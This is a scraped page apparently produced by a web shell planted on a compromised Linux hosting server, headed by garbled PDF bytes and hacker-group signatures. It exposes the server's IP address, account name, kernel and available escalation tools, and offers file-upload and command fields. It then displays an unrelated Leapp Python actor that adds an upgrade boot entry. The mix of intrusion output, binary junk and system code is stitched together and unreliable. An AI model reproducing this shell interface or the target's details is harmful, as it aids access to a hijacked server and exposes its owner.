%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/actors/addupgradebootentry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/actors/addupgradebootentry/actor.py
import os

from leapp.actors import Actor
from leapp.exceptions import StopActorExecutionError
from leapp.libraries.actor.addupgradebootentry import add_boot_entry, fix_grub_config_error
from leapp.models import (
    BootContent,
    FirmwareFacts,
    GrubConfigError,
    KernelCmdline,
    LateTargetKernelCmdlineArgTasks,
    LiveImagePreparationInfo,
    LiveModeArtifacts,
    LiveModeConfig,
    TargetKernelCmdlineArgTasks,
    TransactionDryRun,
    UpgradeKernelCmdlineArgTasks
)
from leapp.tags import InterimPreparationPhaseTag, IPUWorkflowTag


class AddUpgradeBootEntry(Actor):
    """
    Add new boot entry for Leapp provided initramfs.

    Using new boot entry, Leapp can continue the upgrade process in the initramfs after reboot
    """

    name = 'add_upgrade_boot_entry'
    consumes = (
        BootContent,
        GrubConfigError,
        FirmwareFacts,
        LiveImagePreparationInfo,
        LiveModeArtifacts,
        LiveModeConfig,
        KernelCmdline,
        TransactionDryRun,
        TargetKernelCmdlineArgTasks,
        UpgradeKernelCmdlineArgTasks
    )
    produces = (LateTargetKernelCmdlineArgTasks,)
    tags = (IPUWorkflowTag, InterimPreparationPhaseTag)

    def process(self):
        for grub_config_error in self.consume(GrubConfigError):
            if grub_config_error.error_detected:
                fix_grub_config_error('/etc/default/grub', grub_config_error.error_type)

        configs = None
        ff = next(self.consume(FirmwareFacts), None)
        if not ff:
            raise StopActorExecutionError(
                'Could not identify system firmware',
                details={'details': 'Actor did not receive FirmwareFacts message.'}
            )

        # related to issue with hybrid BIOS and UEFI images
        # https://bugzilla.redhat.com/show_bug.cgi?id=1667028
        if ff.firmware == 'bios' and os.path.ismount('/boot/efi') and os.path.isfile('/boot/efi/EFI/redhat/grub.cfg'):
            configs = ['/boot/grub2/grub.cfg', '/boot/efi/EFI/redhat/grub.cfg']
        add_boot_entry(configs)

Anon7 - 2022
AnonSec Team